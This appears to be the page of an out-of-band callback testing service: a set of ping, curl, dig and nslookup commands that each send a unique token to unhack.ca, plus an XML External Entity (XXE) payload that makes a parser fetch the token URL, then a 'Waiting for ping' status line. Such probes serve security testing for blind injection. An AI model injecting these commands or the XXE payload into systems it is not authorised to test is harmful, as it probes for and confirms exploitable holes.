$ ping -c1 -p 009f0373ff667ac01d97612bd9948400 unhack.ca
 
$ curl http://unhack.ca/p/9f0373ff667ac01d97612bd99484
 
$ dig 9f0373ff667ac01d97612bd99484 @unhack.ca
 
$ dig 9f0373ff667ac01d97612bd99484.ns.unhack.ca
 
C:\> nslookup 9f0373ff667ac01d97612bd99484 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9f0373ff667ac01d97612bd99484">]>
    <foo>&xxe;</foo>
Waiting for ping...